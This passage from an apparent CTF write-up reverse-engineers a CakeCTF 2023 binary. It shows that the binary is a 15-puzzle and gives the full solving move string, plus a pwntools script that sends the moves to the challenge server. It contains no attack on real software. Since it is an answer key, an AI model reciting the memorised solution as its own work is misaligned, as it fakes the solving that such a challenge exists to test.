punctuation\">}</span>\n    n <span class=\"token operator\">=</span> n <span class=\"token operator\">+</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n  <span class=\"token punctuation\">}</span> <span class=\"token keyword\">while</span><span class=\"token punctuation\">(</span> true <span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n<span class=\"token punctuation\">}</span></code></pre></div>\n<p>It is hard to tell at a glance what this code is doing, so I rewrote it in Python to inspect it and found that it checks whether a condition like <code class=\"language-text\">MArr[0] >= MArr[1] and MArr[1] >= MArr[2] and MArr[2] >= MArr[3] and MArr[4] >= MArr[5] ...</code> is satisfied.</p>\n<p>In other words, it divides the 64-byte region <code class=\"language-text\">M</code> into 16 array elements of 8 bytes each and checks whether they are arranged in ascending order from the beginning.</p>\n<p>For reference, the hard-coded data region <code class=\"language-text\">M</code> converted into an array <code class=\"language-text\">MArr</code> was as follows.</p>\n<div class=\"gatsby-highlight\" data-language=\"c\"><pre class=\"language-c\"><code class=\"language-c\">MArr  <span class=\"token operator\">=</span> <span class=\"token punctuation\">[</span><span class=\"token number\">0x445856db</span><span class=\"token punctuation\">,</span><span class=\"token number\">0x4c230304</span><span class=\"token punctuation\">,</span><span class=\"token number\">0x0022449f</span><span class=\"token punctuation\">,</span><span class=\"token number\">0x671a96b7</span><span class=\"token punctuation\">,</span><span class=\"token number\">0x6c5644f7</span><span class=\"token punctuation\">,</span><span class=\"token number\">0x7ff46287</span><span class=\"token punctuation\">,</span><span class=\"token number\">0x6ee9c829</span><span class=\"token punctuation\">,</span><span class=\"token number\">0x5cda2e72</span><span class=\"token punctuation\">,</span><span class=\"token number\">0x00000000</span><span class=\"token punctuation\">,</span><span class=\"token number\">0x698e88c9</span><span class=\"token punctuation\">,</span><span class=\"token number\">0x33e65a4f</span><span class=\"token punctuation\">,</span><span class=\"token number\">0x50cc5c54</span><span class=\"token punctuation\">,</span><span class=\"token number\">0x1349831a</span><span class=\"token punctuation\">,</span><span class=\"token number\">0x53c88f74</span><span class=\"token punctuation\">,</span><span class=\"token number\">0x25858ab9</span><span class=\"token punctuation\">,</span><span class=\"token number\">0x72f976d8</span><span class=\"token punctuation\">]</span></code></pre></div>\n<p>Based on this analysis, we can see that if we somehow rearrange the <code class=\"language-text\">MArr</code> array into ascending order, we can pass the check in <code class=\"language-text\">q</code>, reach the <code class=\"language-text\">win</code> function, and obtain the flag.</p>\n<p>Next, let’s trace the processing that can rewrite the contents of the data region <code class=\"language-text\">M</code>.</p>\n<p>The <code class=\"language-text\">e</code> function called by the program takes a 1-byte character entered by the user as an argument and performs the following processing.</p>\n<div class=\"gatsby-highlight\" data-language=\"c\"><pre class=\"language-c\"><code class=\"language-c\"><span class=\"token keyword\">void</span> <span class=\"token function\">e</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">char</span> param_1<span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">{</span>\n  <span class=\"token keyword\">int</span> a<span class=\"token punctuation\">;</span>\n  <span class=\"token keyword\">int</span> b<span class=\"token punctuation\">;</span>\n  \n  <span class=\"token function\">s</span><span class=\"token punctuation\">(</span><span class=\"token operator\">&amp;</span>b<span class=\"token punctuation\">,</span><span class=\"token operator\">&amp;</span>a<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n  <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>param_1 <span class=\"token operator\">==</span> <span class=\"token char\">'U'</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>b <span class=\"token operator\">!=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n      <span class=\"token function\">f</span><span class=\"token punctuation\">(</span>M <span class=\"token operator\">+</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">long</span><span class=\"token punctuation\">)</span>b <span class=\"token operator\">*</span> <span class=\"token number\">4</span> <span class=\"token operator\">+</span> <span class=\"token punctuation\">(</span><span class=\"token keyword\">long</span><span class=\"token punctuation\">)</span>a<span class=\"token punctuation\">)</span> <span class=\"token operator\">*</span> <span class=\"token number\">4</span><span class=\"token punctuation\">,</span>M <span class=\"token operator\">+</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">long</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span>b <span class=\"token operator\">+</span> <span class=\"token operator\">-</span><span class=\"token number\">1</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">*</span> <span class=\"token number\">4</span> <span class=\"token operator\">+</span> <span class=\"token punctuation\">(</span><span class=\"token keyword\">long</span><span class=\"token punctuation\">)</span>a<span class=\"token punctuation\">)</span> <span class=\"token operator\">*</span> <span class=\"token number\">4</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n  <span class=\"token punctuation\">}</span>\n  <span class=\"token keyword\">else</span> <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>param_1 <span class=\"token operator\">&lt;</span> <span class=\"token char\">'V'</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>param_1 <span class=\"token operator\">==</span> <span class=\"token char\">'R'</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n      <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>a <span class=\"token operator\">!=</span> <span class=\"token number\">3</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n        <span class=\"token function\">f</span><span class=\"token punctuation\">(</span>M <span class=\"token operator\">+</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">long</span><span class=\"token punctuation\">)</span>b <span class=\"token operator\">*</span> <span class=\"token number\">4</span> <span class=\"token operator\">+</span> <span class=\"token punctuation\">(</span><span class=\"token keyword\">long</span><span class=\"token punctuation\">)</span>a<span class=\"token punctuation\">)</span> <span class=\"token operator\">*</span> <span class=\"token number\">4</span><span class=\"token punctuation\">,</span>M <span class=\"token operator\">+</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">long</span><span class=\"token punctuation\">)</span>b <span class=\"token operator\">*</span> <span class=\"token number\">4</span> <span class=\"token operator\">+</span> <span class=\"token punctuation\">(</span><span class=\"token keyword\">long</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span>a <span class=\"token operator\">+</span> <span class=\"token number\">1</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">*</span> <span class=\"token number\">4</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n      <span class=\"token punctuation\">}</span>\n    <span class=\"token punctuation\">}</span>\n    <span class=\"token keyword\">else</span> <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>param_1 <span class=\"token operator\">&lt;</span> <span class=\"token char\">'S'</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n      <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>param_1 <span class=\"token operator\">==</span> <span class=\"token char\">'D'</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n        <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>b <span class=\"token operator\">!=</span> <span class=\"token number\">3</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n          <span class=\"token function\">f</span><span class=\"token punctuation\">(</span>M <span class=\"token operator\">+</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">long</span><span class=\"token punctuation\">)</span>b <span class=\"token operator\">*</span> <span class=\"token number\">4</span> <span class=\"token operator\">+</span> <span class=\"token punctuation\">(</span><span class=\"token keyword\">long</span><span class=\"token punctuation\">)</span>a<span class=\"token punctuation\">)</span> <span class=\"token operator\">*</span> <span class=\"token number\">4</span><span class=\"token punctuation\">,</span>M <span class=\"token operator\">+</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">long</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span>b <span class=\"token operator\">+</span> <span class=\"token number\">1</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">*</span> <span class=\"token number\">4</span> <span class=\"token operator\">+</span> <span class=\"token punctuation\">(</span><span class=\"token keyword\">long</span><span class=\"token punctuation\">)</span>a<span class=\"token punctuation\">)</span> <span class=\"token operator\">*</span> <span class=\"token number\">4</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n        <span class=\"token punctuation\">}</span>\n      <span class=\"token punctuation\">}</span>\n      <span class=\"token keyword\">else</span> <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span>param_1 <span class=\"token operator\">==</span> <span class=\"token char\">'L'</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">&amp;&amp;</span> <span class=\"token punctuation\">(</span>a <span class=\"token operator\">!=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n        <span class=\"token function\">f</span><span class=\"token punctuation\">(</span>M <span class=\"token operator\">+</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">long</span><span class=\"token punctuation\">)</span>b <span class=\"token operator\">*</span> <span class=\"token number\">4</span> <span class=\"token operator\">+</span> <span class=\"token punctuation\">(</span><span class=\"token keyword\">long</span><span class=\"token punctuation\">)</span>a<span class=\"token punctuation\">)</span> <span class=\"token operator\">*</span> <span class=\"token number\">4</span><span class=\"token punctuation\">,</span>M <span class=\"token operator\">+</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">long</span><span class=\"token punctuation\">)</span>b <span class=\"token operator\">*</span> <span class=\"token number\">4</span> <span class=\"token operator\">+</span> <span class=\"token punctuation\">(</span><span class=\"token keyword\">long</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span>a <span class=\"token operator\">+</span> <span class=\"token operator\">-</span><span class=\"token number\">1</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">*</span> <span class=\"token number\">4</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n      <span class=\"token punctuation\">}</span>\n    <span class=\"token punctuation\">}</span>\n  <span class=\"token punctuation\">}</span>\n  <span class=\"token keyword\">return</span><span class=\"token punctuation\">;</span>\n<span class=\"token punctuation\">}</span></code></pre></div>\n<p>Here, it first determines the values of <code class=\"language-text\">a</code> and <code class=\"language-text\">b</code> with the <code class=\"language-text\">s</code> function.</p>\n<p>As shown below, the <code class=\"language-text\">s</code> function treats the data region <code class=\"language-text\">M</code> as an array divided into 8-byte chunks and returns the <code class=\"language-text\">i</code> and <code class=\"language-text\">j</code> values when it reaches the element whose value is 0.</p>\n<div class=\"gatsby-highlight\" data-language=\"c\"><pre class=\"language-c\"><code class=\"language-c\"><span class=\"token keyword\">void</span> <span class=\"token function\">s</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">int</span> <span class=\"token operator\">*</span>param_1<span class=\"token punctuation\">,</span><span class=\"token keyword\">int</span> <span class=\"token operator\">*</span>param_2<span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">{</span>\n  <span class=\"token keyword\">int</span> j<span class=\"token punctuation\">;</span>\n  <span class=\"token keyword\">int</span> i<span class=\"token punctuation\">;</span>\n  \n  <span class=\"token keyword\">for</span> <span class=\"token punctuation\">(</span>i <span class=\"token operator\">=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">;</span> i <span class=\"token operator\">&lt;</span> <span class=\"token number\">4</span><span class=\"token punctuation\">;</span> i <span class=\"token operator\">=</span> i <span class=\"token operator\">+</span> <span class=\"token number\">1</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token keyword\">for</span> <span class=\"token punctuation\">(</span>j <span class=\"token operator\">=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">;</span> j <span class=\"token operator\">&lt;</span> <span class=\"token number\">4</span><span class=\"token punctuation\">;</span> j <span class=\"token operator\">=</span> j <span class=\"token operator\">+</span> <span class=\"token number\">1</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n      <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span><span class=\"token operator\">*</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">int</span> <span class=\"token operator\">*</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span>M <span class=\"token operator\">+</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">long</span><span class=\"token punctuation\">)</span>i <span class=\"token operator\">*</span> <span class=\"token number\">4</span> <span class=\"token operator\">+</span> <span class=\"token punctuation\">(</span><span class=\"token keyword\">long</span><span class=\"token punctuation\">)</span>j<span class=\"token punctuation\">)</span> <span class=\"token operator\">*</span> <span class=\"token number\">4</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">==</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n        <span class=\"token operator\">*</span>param_1 <span class=\"token operator\">=</span> i<span class=\"token punctuation\">;</span>\n        <span class=\"token operator\">*</span>param_2 <span class=\"token operator\">=</span> j<span class=\"token punctuation\">;</span>\n      <span class=\"token punctuation\">}</span>\n    <span class=\"token punctuation\">}</span>\n  <span class=\"token punctuation\">}</span>\n  <span class=\"token keyword\">return</span><span class=\"token punctuation\">;</span>\n<span class=\"token punctuation\">}</span></code></pre></div>\n<p>I did not notice it during the contest, but because it searches with <code class=\"language-text\">i</code> and <code class=\"language-text\">j</code> here, we can realize that the one-dimensional array <code class=\"language-text\">M</code> is being treated as a 16-cell plane.</p>\n<p>If we actually arrange <code class=\"language-text\">MArr</code> as a 4*4 grid of 16 cells, it looks like this.</p>\n<div class=\"gatsby-highlight\" data-language=\"c\"><pre class=\"language-c\"><code class=\"language-c\"><span class=\"token punctuation\">[</span><span class=\"token number\">0x445856db</span><span class=\"token punctuation\">,</span><span class=\"token number\">0x4c230304</span><span class=\"token punctuation\">,</span><span class=\"token number\">0x0022449f</span><span class=\"token punctuation\">,</span><span class=\"token number\">0x671a96b7</span><span class=\"token punctuation\">,</span>\n <span class=\"token number\">0x6c5644f7</span><span class=\"token punctuation\">,</span><span class=\"token number\">0x7ff46287</span><span class=\"token punctuation\">,</span><span class=\"token number\">0x6ee9c829</span><span class=\"token punctuation\">,</span><span class=\"token number\">0x5cda2e72</span><span class=\"token punctuation\">,</span>\n <span class=\"token number\">0x00000000</span><span class=\"token punctuation\">,</span><span class=\"token number\">0x698e88c9</span><span class=\"token punctuation\">,</span><span class=\"token number\">0x33e65a4f</span><span class=\"token punctuation\">,</span><span class=\"token number\">0x50cc5c54</span><span class=\"token punctuation\">,</span>\n <span class=\"token number\">0x1349831a</span><span class=\"token punctuation\">,</span><span class=\"token number\">0x53c88f74</span><span class=\"token punctuation\">,</span><span class=\"token number\">0x25858ab9</span><span class=\"token punctuation\">,</span><span class=\"token number\">0x72f976d8</span><span class=\"token punctuation\">]</span></code></pre></div>\n<p>If we further convert that into the rank order of the values in the cells, we get the following.</p>\n<div class=\"gatsby-highlight\" data-language=\"c\"><pre class=\"language-c\"><code class=\"language-c\"><span class=\"token number\">04</span> <span class=\"token number\">05</span> <span class=\"token number\">01</span> <span class=\"token number\">09</span>\n<span class=\"token number\">11</span> <span class=\"token number\">14</span> <span class=\"token number\">12</span> <span class=\"token number\">08</span>\n<span class=\"token number\">00</span> <span class=\"token number\">10</span> <span class=\"token number\">03</span> <span class=\"token number\">06</span>\n<span class=\"token number\">02</span> <span class=\"token number\">07</span> <span class=\"token number\">15</span> <span class=\"token number\">13</span></code></pre></div>\n<p>In other words, when <code class=\"language-text\">M</code> is in its initial state, the <code class=\"language-text\">s</code> function returns <code class=\"language-text\">i=2, j=0</code>.</p>\n<p>Next, let’s continue tracing the rest of the processing in the <code class=\"language-text\">e</code> function.</p>\n<p>Since it is a bit hard to read, let’s look at the following Python rewrite.</p>\n<div class=\"gatsby-highlight\" data-language=\"python\"><pre class=\"language-python\"><code class=\"language-python\">b<span class=\"token punctuation\">,</span>a <span class=\"token operator\">=</span> s<span class=\"token punctuation\">(</span>b<span class=\"token punctuation\">,</span>a<span class=\"token punctuation\">)</span>\n\nbase <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span>b<span class=\"token operator\">*</span><span class=\"token number\">4</span><span class=\"token operator\">+</span>a<span class=\"token punctuation\">)</span>\nU <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span>b<span class=\"token operator\">-</span><span class=\"token number\">1</span><span class=\"token punctuation\">)</span><span class=\"token operator\">*</span><span class=\"token number\">4</span><span class=\"token operator\">+</span>a\nR <span class=\"token operator\">=</span> b<span class=\"token operator\">*</span><span class=\"token number\">4</span><span class=\"token operator\">+</span><span class=\"token punctuation\">(</span>a<span class=\"token operator\">+</span><span class=\"token number\">1</span><span class=\"token punctuation\">)</span>\nD <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span>b<span class=\"token operator\">+</span><span class=\"token number\">1</span><span class=\"token punctuation\">)</span><span class=\"token operator\">*</span><span class=\"token number\">4</span><span class=\"token operator\">+</span>a\nL <span class=\"token operator\">=</span> b<span class=\"token operator\">*</span><span class=\"token number\">4</span><span class=\"token operator\">+</span><span class=\"token punctuation\">(</span>a<span class=\"token operator\">-</span><span class=\"token number\">1</span><span class=\"token punctuation\">)</span>\n\n<span class=\"token keyword\">if</span> b <span class=\"token operator\">!=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">:</span>\n    s_swap<span class=\"token punctuation\">(</span>base<span class=\"token punctuation\">,</span>U<span class=\"token punctuation\">)</span>\n\n<span class=\"token keyword\">if</span> a <span class=\"token operator\">!=</span> <span class=\"token number\">3</span><span class=\"token punctuation\">:</span>\n    s_swap<span class=\"token punctuation\">(</span>base<span class=\"token punctuation\">,</span>R<span class=\"token punctuation\">)</span>\n\n<span class=\"token keyword\">if</span> b <span class=\"token operator\">!=</span> <span class=\"token number\">3</span><span class=\"token punctuation\">:</span>\n    s_swap<span class=\"token punctuation\">(</span>base<span class=\"token punctuation\">,</span>D<span class=\"token punctuation\">)</span>\n\n<span class=\"token keyword\">if</span> a <span class=\"token operator\">!=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">:</span>\n    s_swap<span class=\"token punctuation\">(</span>base<span class=\"token punctuation\">,</span>L<span class=\"token punctuation\">)</span></code></pre></div>\n<p>The four available operation characters are <code class=\"language-text\">U</code>, <code class=\"language-text\">R</code>, <code class=\"language-text\">D</code>, and <code class=\"language-text\">L</code>.</p>\n<p>Depending on which character is specified, the value in array <code class=\"language-text\">M</code> pointed to by index <code class=\"language-text\">base</code> (the element whose value is <code class=\"language-text\">0x0</code>) is swapped with the value at another index.</p>\n<p>Again, the important point is to notice the meaning: <code class=\"language-text\">U</code>, <code class=\"language-text\">R</code>, <code class=\"language-text\">D</code>, and <code class=\"language-text\">L</code> stand for Up, Right, Down, and Left, respectively.</p>\n<p>Also, the restrictions for using each command, such as <code class=\"language-text\">b != 0</code> and <code class=\"language-text\">a != 3</code>, are there to prevent moves from going outside the 16-cell board.</p>\n<p>From this analysis, we can see that the challenge is a puzzle in which the following 16 cells must be rearranged in ascending order.</p>\n<div class=\"gatsby-highlight\" data-language=\"c\"><pre class=\"language-c\"><code class=\"language-c\"><span class=\"token number\">04</span> <span class=\"token number\">05</span> <span class=\"token number\">01</span> <span class=\"token number\">09</span>\n<span class=\"token number\">11</span> <span class=\"token number\">14</span> <span class=\"token number\">12</span> <span class=\"token number\">08</span>\n<span class=\"token number\">00</span> <span class=\"token number\">10</span> <span class=\"token number\">03</span> <span class=\"token number\">06</span>\n<span class=\"token number\">02</span> <span class=\"token number\">07</span> <span class=\"token number\">15</span> <span class=\"token number\">13</span></code></pre></div>\n<p>This type of puzzle is apparently called the 15-puzzle.</p>\n<p>Algorithms for solving the 15-puzzle are described on sites like the one below, and it seems that you can solve it efficiently by alternately placing the correct cells in the top row and the rightmost column.</p>\n<p>Reference: <a href=\"https://www.instructables.com/How-To-Solve-The-15-Puzzle/\" target=\"_blank\" rel=\"nofollow noopener noreferrer\">How to Solve the 15 Puzzle : 12 Steps - Instructables</a></p>\n<p>The 15-puzzle seems to be a classic shortest-path search problem tackled with breadth-first search, and various solvers were available on the internet.</p>\n<p>This time, I slightly customized a solver downloadable from the following site and used it to solve the challenge.</p>\n<p>Reference: <a href=\"https://yamakatsusan.web.fc2.com/python12.html\" target=\"_blank\" rel=\"nofollow noopener noreferrer\">Solving the 8-Puzzle and 15-Puzzle in Python 3: Shortest-Path Search with the A* (A-Star) Algorithm</a></p>\n<p>Running the solver downloaded above lets us obtain the state transitions along the shortest path as shown below.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 868px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/df3d25097c8d148dbe03c50bd033aeb2/748b0/image-20231112214130001.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 58.75%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAYAAABiDJ37AAAACXBIWXMAAAsTAAALEwEAmpwYAAABF0lEQVQoz62SW2+CQBCFeVLpQ+ktWrUXECkqC7soCqVcFGKrTS///9ec7lI1TbQJrTyczGaS/eZkzkihMcPMnCLgcpsEluLAOqMgm7p9kx99oZFC4V65yNQAL0aE7N5H2vUgfZIcayPG+3CBqMVA6yqY3Csl2tBg1zWQmgq7psFp9CBFbRdhiyK58eApA97UwU76oCXEDkhamQly7RHP/ScEl6SYsgUyWd//uOkVkvV94JKDlnpY7CG6ZoV19sv0MpLEMgVofjvF5NQ8OPVPwDeSYfUQ43WYIu6MuUP1OGDSnSBsOhC1Eocfdl64Ww+4Q5740TtM+bnE7TEWd/zAz0e7lP8NFM5EMJnqw7+wqgF+hzJHUkEoX3zWUoQKbPXnAAAAAElFTkSuQmCC'); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/df3d25097c8d148dbe03c50bd033aeb2/8ac56/image-20231112214130001.webp 240w,\n/static/df3d25097c8d148dbe03c50bd033aeb2/d3be9/image-20231112214130001.webp 480w,\n/static/df3d25097c8d148dbe03c50bd033aeb2/1ae05/image-20231112214130001.webp 868w\"\n              sizes=\"(max-width: 868px) 100vw, 868px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/df3d25097c8d148dbe03c50bd033aeb2/8ff5a/image-20231112214130001.png 240w,\n/static/df3d25097c8d148dbe03c50bd033aeb2/e85cb/image-20231112214130001.png 480w,\n/static/df3d25097c8d148dbe03c50bd033aeb2/748b0/image-20231112214130001.png 868w\"\n            sizes=\"(max-width: 868px) 100vw, 868px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/df3d25097c8d148dbe03c50bd033aeb2/748b0/image-20231112214130001.png\"\n            alt=\"image-20231112214130001\"\n            title=\"image-20231112214130001\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>I modified the code slightly as follows so that I could see the panel moves for the shortest path found by this solver.</p>\n<div class=\"gatsby-highlight\" data-language=\"python\"><pre class=\"language-python\"><code class=\"language-python\"><span class=\"token keyword\">if</span> __name__ <span class=\"token operator\">==</span> <span class=\"token string\">'__main__'</span><span class=\"token punctuation\">:</span>\n    sol<span class=\"token punctuation\">,</span> visit <span class=\"token operator\">=</span> main<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n    ans <span class=\"token operator\">=</span> <span class=\"token string\">\"\"</span>\n    state <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span><span class=\"token number\">0</span><span class=\"token punctuation\">,</span><span class=\"token number\">2</span><span class=\"token punctuation\">)</span>\n    <span class=\"token keyword\">from</span> pprint <span class=\"token keyword\">import</span> pprint\n    <span class=\"token keyword\">for</span> s <span class=\"token keyword\">in</span> sol<span class=\"token punctuation\">:</span>\n        <span class=\"token comment\"># print(s)</span>\n        i<span class=\"token punctuation\">,</span>j <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span><span class=\"token number\">0xF</span><span class=\"token punctuation\">,</span><span class=\"token number\">0xF</span><span class=\"token punctuation\">)</span>\n        <span class=\"token keyword\">for</span> i <span class=\"token keyword\">in</span> <span class=\"token builtin\">range</span><span class=\"token punctuation\">(</span><span class=\"token number\">4</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span>\n            <span class=\"token keyword\">for</span> j <span class=\"token keyword\">in</span> <span class=\"token builtin\">range</span><span class=\"token punctuation\">(</span><span class=\"token number\">4</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span>\n                <span class=\"token keyword\">if</span> s<span class=\"token punctuation\">[</span><span class=\"token punctuation\">(</span>i<span class=\"token operator\">*</span><span class=\"token number\">4</span> <span class=\"token operator\">+</span> j<span class=\"token punctuation\">)</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0</span><span class=\"token punctuation\">:</span>\n                    p1 <span class=\"token operator\">=</span> i\n                    p2 <span class=\"token operator\">=</span> j\n        <span class=\"token keyword\">if</span> p1 <span class=\"token operator\">!=</span> state<span class=\"token punctuation\">[</span><span class=\"token number\">1</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">:</span>\n            <span class=\"token keyword\">if</span> state<span class=\"token punctuation\">[</span><span class=\"token number\">1</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">-</span> p1 <span class=\"token operator\">==</span> <span class=\"token number\">1</span><span class=\"token punctuation\">:</span>\n                ans <span class=\"token operator\">+=</span> <span class=\"token string\">\"U\"</span>\n            <span class=\"token keyword\">elif</span> state<span class=\"token punctuation\">[</span><span class=\"token number\">1</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">-</span> p1 <span class=\"token operator\">==</span> <span class=\"token operator\">-</span><span class=\"token number\">1</span><span class=\"token punctuation\">:</span>\n                ans <span class=\"token operator\">+=</span> <span class=\"token string\">\"D\"</span>\n        <span class=\"token keyword\">if</span> p2 <span class=\"token operator\">!=</span> state<span class=\"token punctuation\">[</span><span class=\"token number\">0</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">:</span>\n            <span class=\"token keyword\">if</span> state<span class=\"token punctuation\">[</span><span class=\"token number\">0</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">-</span> p2 <span class=\"token operator\">==</span> <span class=\"token number\">1</span><span class=\"token punctuation\">:</span>\n                ans <span class=\"token operator\">+=</span> <span class=\"token string\">\"L\"</span>\n            <span class=\"token keyword\">elif</span> state<span class=\"token punctuation\">[</span><span class=\"token number\">0</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">-</span> p2 <span class=\"token operator\">==</span> <span class=\"token operator\">-</span><span class=\"token number\">1</span><span class=\"token punctuation\">:</span>\n                ans <span class=\"token operator\">+=</span> <span class=\"token string\">\"R\"</span>\n        state <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span>p2<span class=\"token punctuation\">,</span>p1<span class=\"token punctuation\">)</span>\n    <span class=\"token keyword\">print</span><span class=\"token punctuation\">(</span>ans<span class=\"token punctuation\">)</span>\n\n<span class=\"token comment\"># URRDLLURURDRULLDRRDLLDLUURDDRRULULDRDLLURRULURDRDDLLULURRDRULLLU</span></code></pre></div>\n<p>Running this solver identifies <code class=\"language-text\">URRDLLURURDRULLDRRDLLDLUURDDRRULULDRDLLURRULURDRDDLLULURRDRULLLU</code> as the instruction sequence needed to solve the puzzle.</p>\n<p>Therefore, by sending this command sequence to the challenge server with the following script, I was able to obtain the correct flag.</p>\n<div class=\"gatsby-highlight\" data-language=\"python\"><pre class=\"language-python\"><code class=\"language-python\"><span class=\"token keyword\">from</span> pwn <span class=\"token keyword\">import</span> <span class=\"token operator\">*</span>\n\nCONTEXT <span class=\"token operator\">=</span> <span class=\"token string\">\"debug\"</span>\ncontext<span class=\"token punctuation\">.</span>log_level <span class=\"token operator\">=</span> CONTEXT\n\ntarget <span class=\"token operator\">=</span> remote<span class=\"token punctuation\">(</span><span class=\"token string\">\"others.2023.cakectf.com\"</span><span class=\"token punctuation\">,</span> <span class=\"token number\">14001</span><span class=\"token punctuation\">)</span>\nans <span class=\"token operator\">=</span> <span class=\"token string\">\"URRDLLURURDRULLDRRDLLDLUURDDRRULULDRDLLURRULURDRDDLLULURRDRULLLU\"</span>\n<span class=\"token keyword\">for</span> i <span class=\"token keyword\">in</span> <span class=\"token builtin\">range</span><span class=\"token punctuation\">(</span><span class=\"token builtin\">len</span><span class=\"token punctuation\">(</span>ans<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span>\n    target<span class=\"token punctuation\">.</span>recvuntil<span class=\"token punctuation\">(</span><span class=\"token string\">b\"> \"</span><span class=\"token punctuation\">)</span>\n    target<span class=\"token punctuation\">.</span>sendline<span class=\"token punctuation\">(</span>ans<span class=\"token punctuation\">[</span>i<span class=\"token punctuation\">]</span><span class=\"token punctuation\">.</span>encode<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n\ntarget<span class=\"token 